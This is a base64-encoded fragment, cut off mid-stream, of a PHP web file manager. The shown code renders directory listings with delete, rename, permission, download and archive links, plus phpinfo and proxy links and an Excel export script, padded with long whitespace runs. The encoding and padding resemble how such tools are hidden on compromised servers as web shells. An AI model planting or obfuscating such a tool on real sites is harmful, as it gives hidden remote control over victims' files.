ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KICAgIGlmKEBpc19kaXIoJGZpbGVuYW1lKSl7DQoNCgkgICAgIAkgICAgICRmaWxlZGF0YVs3XSA9ICcnOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIGlmICghZW1wdHkoJGZtX2NvbmZpZ1snc2hvd19kaXJfc2l6ZSddKSYmIWZtX3Jvb3QoJGZpbGVfZ2V0KSkgJGZpbGVkYXRhWzddID0gZm1fZGlyX3NpemUoJGZpbGVuYW1lKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgJGxpbmsgPSAnPGEgaHJlZj0iJy4kdXJsX2luYy4nJnBhdGg9Jy4kcGF0aC4kZmlsZV9nZXQuJyIgdGl0bGU9IicuX18oJ1Nob3cnKS4nICcuJGZpbGVfZ2V0LiciPjxzcGFuIGNsYXNzPSJmb2xkZXIiPiZuYnNwOyZuYnNwOyZuYnNwOyZuYnNwOzwvc3Bhbj4gJy4kZmlsZV9nZXQuJzwvYT4nOw0KDQogICAgICAgICRsb2FkbGluaz0gKGZtX3Jvb3QoJGZpbGVfZ2V0KXx8JHBoYXJfbWF5YmUpID8gJycgOiBmbV9saW5rKCd6aXAnLCRmaWxlbmFtZSxfXygnQ29tcHJlc3MnKS4nJm5ic3A7emlwJyxfXygnQXJjaGl2aW5nJykuJyAnLiAkZmlsZV9nZXQpOw0KDQoJICAgICAJICAgICAkYXJsaW5rICA9IChmbV9yb290KCRmaWxlX2dldCl8fCRwaGFyX21heWJlKSA/ICcnIDogZm1fbGluaygnZ3onLCRmaWxlbmFtZSxfXygnQ29tcHJlc3MnKS4nJm5ic3A7LnRhci5neicsX18oJ0FyY2hpdmluZycpLicgJy4kZmlsZV9nZXQpOw0KDQogICAgICAgICRzdHlsZSA9ICdyb3cyJzsNCgkgICAgIAkgICAgICBpZiAoIWZtX3Jvb3QoJGZpbGVfZ2V0KSkgJGFsZXJ0ID0gJ29uQ2xpY2s9ImlmKGNvbmZpcm0oXCcnIC4gX18oJ0FyZSB5b3Ugc3VyZSB5b3Ugd2FudCB0byBkZWxldGUgdGhpcyBkaXJlY3RvcnkgKHJlY3Vyc2l2ZWx5KT8nKS4nXG4gLycuICRmaWxlX2dldC4gJ1wnKSkgZG9jdW1lbnQubG9jYXRpb24uaHJlZiA9IFwnJyAuICR1cmxfaW5jIC4gJyZkZWxldGU9JyAuICRmaWxlX2dldCAuICcmcGF0aD0nIC4gJHBhdGggIC4gJ1wnIic7IGVsc2UgJGFsZXJ0ID0gJyc7DQogICAgfSBlbHNlIHsNCg0KCSAgICAgCSAgICAgJGxpbmsgPSANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAJICAgICAkZm1fY29uZmlnWydzaG93X2ltZyddJiZAZ2V0aW1hZ2VzaXplKCRmaWxlbmFtZSkgDQoNCgkgICAgIAkgICAgIAkgICAgID8gJzxhIHRhcmdldD0iX2JsYW5rIiBvbmNsaWNrPSJ2YXIgbGVmdG8gPSBzY3JlZW4uYXZhaWxXaWR0aC8yLTMyMDt3aW5kb3cub3BlbihcJycNCgkgICAgIAkgICAgIAkgICAgIC4gZm1faW1nX2xpbmsoJGZpbGVuYW1lKQ0KDQoJICAgICAJICAgICAJICAgICAuJ1wnLFwncG9wdXBcJyxcJ3dpZHRoPTY0MCxoZWlnaHQ9NDgwLGxlZnQ9XCcgKyBsZWZ0byArIFwnLHNjcm9sbGJhcnM9eWVzLHRvb2xiYXI9bm8sbG9jYXRpb249bm8sZGlyZWN0b3JpZXM9bm8sc3RhdHVzPW5vXCcpO3JldHVybiBmYWxzZTsiIGhyZWY9IicuZm1faW1nX2xpbmsoJGZpbGVuYW1lKS4nIj48c3BhbiBjbGFzcz0iaW1nIj4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDs8L3NwYW4+ICcuJGZpbGVfZ2V0Lic8L2E+Jw0KDQoJICAgICAJICAgICAJICAgICA6ICc8YSBocmVmPSInIC4gJHVybF9pbmMgLiAnJmVkaXQ9JyAuICRmaWxlX2dldCAuICcmcGF0aD0nIC4gJHBhdGguICciIHRpdGxlPSInIC4gX18oJ0VkaXQnKSAuICciPjxzcGFuIGNsYXNzPSJmaWxlIj4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDs8L3NwYW4+ICcuJGZpbGVfZ2V0Lic8L2E+JzsNCgkgICAgIAkgICAgICRlX2FyciA9IGV4cGxvZGUoIi4iLCAkZmlsZV9nZXQpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAkZXh0ID0gZW5kKCRlX2Fycik7DQoNCiAgICAgICAgJGxvYWRsaW5rID0gIGZtX2xpbmsoJ2Rvd25sb2FkJywkZmlsZW5hbWUsX18oJ0Rvd25sb2FkJyksX18oJ0Rvd25sb2FkJykuJyAnLiAkZmlsZV9nZXQpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgJGFybGluayA9IGluX2FycmF5KCRleHQsYXJyYXkoJ3ppcCcsJ2d6JywndGFyJykpIA0KCSAgICAgCSAgICAgPyAnJw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIAkgICAgIDogKChmbV9yb290KCRmaWxlX2dldCl8fCRwaGFyX21heWJlKSA/ICcnIDogZm1fbGluaygnZ3pmaWxlJywkZmlsZW5hbWUsX18oJ0NvbXByZXNzJykuJyZuYnNwOy50YXIuZ3onLF9fKCdBcmNoaXZpbmcnKS4nICcuICRmaWxlX2dldCkpOw0KDQogICAgICAgICRzdHlsZSA9ICdyb3cxJzsNCg0KCSAgICAgCSAgICAgJGFsZXJ0ID0gJ29uQ2xpY2s9ImlmKGNvbmZpcm0oXCcnLiBfXygnRmlsZSBzZWxlY3RlZCcpLic6IFxuJy4gJGZpbGVfZ2V0LiAnLiBcbicuX18oJ0FyZSB5b3Ugc3VyZSB5b3Ugd2FudCB0byBkZWxldGUgdGhpcyBmaWxlPycpIC4gJ1wnKSkgZG9jdW1lbnQubG9jYXRpb24uaHJlZiA9IFwnJyAuICR1cmxfaW5jIC4gJyZkZWxldGU9JyAuICRmaWxlX2dldCAuICcmcGF0aD0nIC4gJHBhdGggIC4gJ1wnIic7DQoNCiAgICB9DQoNCiAgICAkZGVsZXRlbGluayA9IGZtX3Jvb3QoJGZpbGVfZ2V0KSA/ICcnIDogJzxhIGhyZWY9IiMiIHRpdGxlPSInIC4gX18oJ0RlbGV0ZScpIC4gJyAnLiAkZmlsZV9nZXQgLiAnIiAnIC4gJGFsZXJ0IC4gJz4nIC4gX18oJ0RlbGV0ZScpIC4gJzwvYT4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KICAgICRyZW5hbWVsaW5rID0gZm1fcm9vdCgkZmlsZV9nZXQpID8gJycgOiAnPGEgaHJlZj0iJyAuICR1cmxfaW5jIC4gJyZyZW5hbWU9JyAuICRmaWxlX2dldCAuICcmcGF0aD0nIC4gJHBhdGggLiAnIiB0aXRsZT0iJyAuIF9fKCdSZW5hbWUnKSAuJyAnLiAkZmlsZV9nZXQgLiAnIj4nIC4gX18oJ1JlbmFtZScpIC4gJzwvYT4nOw0KDQogICAgJHJpZ2h0c3RleHQgPSAoJGZpbGVfZ2V0PT0nLicgfHwgJGZpbGVfZ2V0PT0nLi4nKSA/ICcnIDogJzxhIGhyZWY9IicgLiAkdXJsX2luYyAuICcmcmlnaHRzPScgLiAkZmlsZV9nZXQgLiAnJnBhdGg9JyAuICRwYXRoIC4gJyIgdGl0bGU9IicgLiBfXygnUmlnaHRzJykgLicgJy4gJGZpbGVfZ2V0IC4gJyI+JyAuIEBmbV9yaWdodHNfc3RyaW5nKCRmaWxlbmFtZSkgLiAnPC9hPic7DQoNCj8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCjx0ciBjbGFzcz0iPD89JHN0eWxlPz4iPiANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KICAgIDx0ZD48Pz0kbGluaz8+PC90ZD4NCiAgICA8dGQ+PD89JGZpbGVkYXRhWzddPz48L3RkPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KICAgIDx0ZCBzdHlsZT0id2hpdGUtc3BhY2U6bm93cmFwIj48Pz1nbWRhdGUoIlktbS1kIEg6aTpzIiwkZmlsZWRhdGFbOV0pPz48L3RkPg0KDQogICAgPHRkPjw/PSRyaWdodHN0ZXh0Pz48L3RkPg0KDQogICAgPHRkPjw/PSRkZWxldGVsaW5rPz48L3RkPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiAgICA8dGQ+PD89JHJlbmFtZWxpbms/PjwvdGQ+DQoNCiAgICA8dGQ+PD89JGxvYWRsaW5rPz48L3RkPg0KDQogICAgPHRkPjw/PSRhcmxpbms/PjwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQo8L3RyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQo8P3BocA0KICAgIH0NCg0KfQ0KDQo/Pg0KPC90Ym9keT4NCjwvdGFibGU+DQoNCjxkaXYgY2xhc3M9InJvdzMiPjw/cGhwDQoNCgkgICAgICRtdGltZSA9IGV4cGxvZGUoJyAnLCBtaWNyb3RpbWUoKSk7IA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAkdG90YWx0aW1lID0gJG10aW1lWzBdICsgJG10aW1lWzFdIC0gJHN0YXJ0dGltZTsgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgZWNobyBmbV9ob21lKCkuJyB8IHZlci4gJy4kZm1fdmVyc2lvbi4nIHwgPGEgaHJlZj0iaHR0cHM6Ly9naXRodWIuY29tL0RlbjF4eHgvRmlsZW1hbmFnZXIiPkdpdGh1YjwvYT4gIHwgPGEgaHJlZj0iJy5mbV9zaXRlX3VybCgpLiciPi48L2E+JzsNCg0KCSAgICAgaWYgKCFlbXB0eSgkZm1fY29uZmlnWydzaG93X3BocF92ZXInXSkpIGVjaG8gJyB8IFBIUCAnLnBocHZlcnNpb24oKTsNCgkgICAgIGlmICghZW1wdHkoJGZtX2NvbmZpZ1snc2hvd19waHBfaW5pJ10pKSBlY2hvICcgfCAnLnBocF9pbmlfbG9hZGVkX2ZpbGUoKTsNCg0KCSAgICAgaWYgKCFlbXB0eSgkZm1fY29uZmlnWydzaG93X2d0J10pKSBlY2hvICcgfCAnLl9fKCdHZW5lcmF0aW9uIHRpbWUnKS4nOiAnLnJvdW5kKCR0b3RhbHRpbWUsMik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgaWYgKCFlbXB0eSgkZm1fY29uZmlnWydlbmFibGVfcHJveHknXSkpIGVjaG8gJyB8IDxhIGhyZWY9Ij9wcm94eT10cnVlIj5wcm94eTwvYT4nOw0KDQoJICAgICBpZiAoIWVtcHR5KCRmbV9jb25maWdbJ3Nob3dfcGhwaW5mbyddKSkgZWNobyAnIHwgPGEgaHJlZj0iP3BocGluZm89dHJ1ZSI+cGhwaW5mbzwvYT4nOw0KCSAgICAgaWYgKCFlbXB0eSgkZm1fY29uZmlnWydzaG93X3hscyddKSYmIWVtcHR5KCRsaW5rKSkgZWNobyAnIHwgPGEgaHJlZj0iamF2YXNjcmlwdDogdm9pZCgwKSIgb25jbGljaz0idmFyIG9iaiA9IG5ldyB0YWJsZTJFeGNlbCgpOyBvYmouQ3JlYXRlRXhjZWxTaGVldChcJ2ZtX3RhYmxlXCcsXCdleHBvcnRcJyk7IiB0aXRsZT0iJy5fXygnRG93bmxvYWQnKS4nIHhscyI+eGxzPC9hPic7DQoNCgkgICAgIGlmICghZW1wdHkoJGZtX2NvbmZpZ1snZm1fc2V0dGluZ3MnXSkpIGVjaG8gJyB8IDxhIGhyZWY9Ij9mbV9zZXR0aW5ncz10cnVlIj4nLl9fKCdTZXR0aW5ncycpLic8L2E+JzsNCgkgICAgID8+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQo8L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQpmdW5jdGlvbiBkb3dubG9hZF94bHMoZmlsZW5hbWUsIHRleHQpIHsNCg0KCSAgICAgdmFyIGVsZW1lbnQgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdhJyk7DQoNCgkgICAgIGVsZW1lbnQuc2V0QXR0cmlidXRlKCdocmVmJywgJ2RhdGE6YXBwbGljYXRpb24vdm5kLm1zLWV4Y2VsO2Jhc2U2NCwnICsgdGV4dCk7DQoNCgkgICAgIGVsZW1lbnQuc2V0QXR0cmlidXRlKCdkb3dubG9hZCcsIGZpbGVuYW1lKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICBlbGVtZW50LnN0eWxlLmRpc3BsYXkgPSAnbm9uZSc7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgkgICAgIGRvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoZWxlbWVudCk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICBlbGVtZW50LmNsaWNrKCk7DQoNCgkgICAgIGRvY3VtZW50LmJvZHkucmVtb3ZlQ2hpbGQoZWxlbWVudCk7DQp9DQoNCg0KDQpmdW5jdGlvbiBiYXNlNjRfZW5jb2RlKG0pIHsNCg0KCSAgICAgZm9yICh2YXIgayA9ICJBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWmFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6MDEyMzQ1Njc4OSsvIi5zcGxpdCgiIiksIGMsIGQsIGgsIGUsIGEsIGcgPSAiIiwgYiA9IDAsIGYsIGwgPSAwOyBsIDwgbS5sZW5ndGg7ICsrbCkgew0KDQoJICAgICAJICAgICBjID0gbS5jaGFyQ29kZUF0KGwpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICBpZiAoMTI4ID4gYykgZCA9IDE7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgZWxzZQ0KDQoJICAgICAJICAgICAJICAgICBmb3IgKGQgPSAyOyBjID49IDIgPDwgNSAqIGQ7KSArK2Q7DQoNCgkgICAgIAkgICAgIGZvciAoaCA9IDA7IGggPCBkOyArK2gpIDEgPT0gZCA/IGUgPSBjIDogKGUgPSBoID8gMTI4IDogMTkyLCBhID0gZCAtIDIgLSA2ICogaCwgMCA8PSBhICYmIChlICs9ICg2IDw9IGEgPyAxIDogMCkgKyAoNSA8PSBhID8gMiA6IDApICsgKDQgPD0gYSA/IDQgOiAwKSArICgzIDw9IGEgPyA4IDogMCkgKyAoMiA8PSBhID8gMTYgOiAwKSArICgxIDw9IGEgPyAzMiA6IDApLCBhIC09IDUpLCAwID4gYSAmJiAodSA9IDYgKiAoZCAtIDEgLSBoKSwgZSArPSBjID4+IHUsIGMgLT0gYyA+PiB1IDw8IHUpKSwgZiA9IGIgPyBmIDw8IDYgLSBiIDogMCwgYiArPSAyLCBmICs9IGUgPj4gYiwgZyArPSBrW2ZdLCBmID0gZSAlICgxIDw8IGIpLCA2ID09IGIgJiYgKGIgPSAwLCBnICs9IGtbZl0pDQoNCgkgICAgIH0NCg0KCSAgICAgYiAmJiAoZyArPSBrW2YgPDwgNiAtIGJdKTsNCg0KCSAgICAgcmV0dXJuIGcNCg0KfQ0KDQoNCg0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCnZhciB0YWJsZVRvRXhjZWxEYXRhID0gKGZ1bmN0aW9uKCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KICAgIHZhciB1cmkgPSAnZGF0YTphcHBsaWNhdGlvbi92bmQubXMtZXhjZWw7YmFzZTY0LCcsDQogICAgdGVtcGxhdGUgPSAnPGh0bWwgeG1sbnM6bz0idXJuOnNjaGVtYXMtbWljcm9zb2Z0LWNvbTpvZmZpY2U6b2ZmaWNlIiB4bWxuczp4PSJ1cm46c2NoZW1hcy1taWNyb3NvZnQtY29tOm9mZmljZTpleGNlbCIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnL1RSL1JFQy1odG1sNDAiPjxoZWFkPjwhLS1baWYgZ3RlIG1zbyA5XT48eG1sPjx4OkV4Y2VsV29ya2Jvb2s+PHg6RXhjZWxXb3Jrc2hlZXRzPjx4OkV4Y2VsV29ya3NoZWV0Pjx4Ok5hbWU+e3dvcmtzaGVldH08L3g6TmFtZT48eDpXb3Jrc2hlZXRPcHRpb25zPjx4OkRpc3BsYXlHcmlkbGluZXM+PC94OkRpc3BsYXlHcmlkbGluZXM+PC94OldvcmtzaGVldE9wdGlvbnM+PC94OkV4Y2VsV29ya3NoZWV0PjwveDpFeGNlbFdvcmtzaGVldHM+PC94OkV4Y2VsV29ya2Jvb2s+PC94bWw+PCFbZW5kaWZdLS0+PG1ldGEgaHR0cC1lcXVpdj0iY29udGVudC10eXBlIiBjb250ZW50PSJ0ZXh0L3BsYWluOyBjaGFyc2V0PVVURi04Ii8+PC9oZWFkPjxib2R5Pjx0YWJsZT57dGFibGV9PC90YWJsZT48L2JvZHk+PC9odG1sPicsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KICAgIGZvcm1hdCA9IGZ1bmN0aW9uKHMsIGMpIHsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gcy5yZXBsYWNlKC97KFx3Kyl9L2csIGZ1bmN0aW9uKG0sIHApIHsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGNbcF07DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgfSkNCiAgICAgICAgfQ0KICAgIHJldHVybiBmdW5jdGlvbih0YWJsZSwgbmFtZSkgew0KICAgICAgICBpZiAoIXRhYmxlLm5vZGVUeXBlKSB0YWJsZSA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKHRhYmxlKQ0KICAgICAgICB2YXIgY3R4ID0gew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICAgIHdvcmtzaGVldDogbmFtZSB8fCAnV29ya3NoZWV0JywNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICB0YWJsZTogdGFibGUuaW5uZXJIVE1MLnJlcGxhY2UoLzxzcGFuKC4qPylcL3NwYW4+IC9nLCIiKS5yZXBsYWNlKC88YVxiW14+XSo+KC4qPyk8XC9hPi9nLCIkMSIpDQoNCiAgICAgICAgfQ0KDQoJICAgICAJICAgICB0ID0gbmV3IERhdGUoKTsNCg0KCSAgICAgCSAgICAgZmlsZW5hbWUgPSAnZm1fJyArIHQudG9JU09TdHJpbmcoKSArICcueGxzJw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgZG93bmxvYWRfeGxzKGZpbGVuYW1lLCBiYXNlNjRfZW5jb2RlKGZvcm1hdCh0ZW1wbGF0ZSwgY3R4KSkpDQoNCiAgICB9DQp9KSgpOw0KDQoNCg0KdmFyIHRhYmxlMkV4Y2VsID0gZnVuY3Rpb24gKCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoNCg0KICAgIHZhciB1YSA9IHdpbmRvdy5uYXZpZ2F0b3IudXNlckFnZW50Ow0KICAgIHZhciBtc2llID0gdWEuaW5kZXhPZigiTVNJRSAiKTsNCg0KDQoJICAgICB0aGlzLkNyZWF0ZUV4Y2VsU2hlZXQgPSANCgkgICAgIAkgICAgIGZ1bmN0aW9uKGVsLCBuYW1lKXsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAJICAgICBpZiAobXNpZSA+IDAgfHwgISFuYXZpZ2F0b3IudXNlckFnZW50Lm1hdGNoKC9UcmlkZW50Lipydlw6MTFcLi8pKSB7Ly8gSWYgSW50ZXJuZXQgRXhwbG9yZXINCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgdmFyIHggPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZChlbCkucm93czsNCg0KDQoNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIHZhciB4bHMgPSBuZXcgQWN0aXZlWE9iamVjdCgiRXhjZWwuQXBwbGljYXRpb24iKTsNCg0KDQoNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIHhscy52aXNpYmxlID0gdHJ1ZTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgDQoJICAgICAJICAgICAJICAgICAJICAgICB4bHMuV29ya2Jvb2tzLkFkZA0KDQoJICAgICAJICAgICAJICAgICAJICAgICBmb3IgKGkgPSAwOyBpIDwgeC5sZW5ndGg7IGkrKykgew0KDQoJICAgICAJICAgICAJICAgICAJICAgICAJICAgICB2YXIgeSA9IHhbaV0uY2VsbHM7DQoNCg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgCSAgICAgZm9yIChqID0gMDsgaiA8IHkubGVuZ3RoOyBqKyspIHsNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIAkgICAgIAkgICAgIHhscy5DZWxscyhpICsgMSwgaiArIDEpLlZhbHVlID0geVtqXS5pbm5lclRleHQ7DQoNCgkgICAgIAkgICAgIAkgICAgIAkgICAgIAkgICAgIH0NCg0KCSAgICAgCSAgICAgCSAgICAgCSAgICAgfQ0KDQoJICAgICAJICAgICAJICAgICAJICAgICB4bHMuVmlzaWJsZSA9IH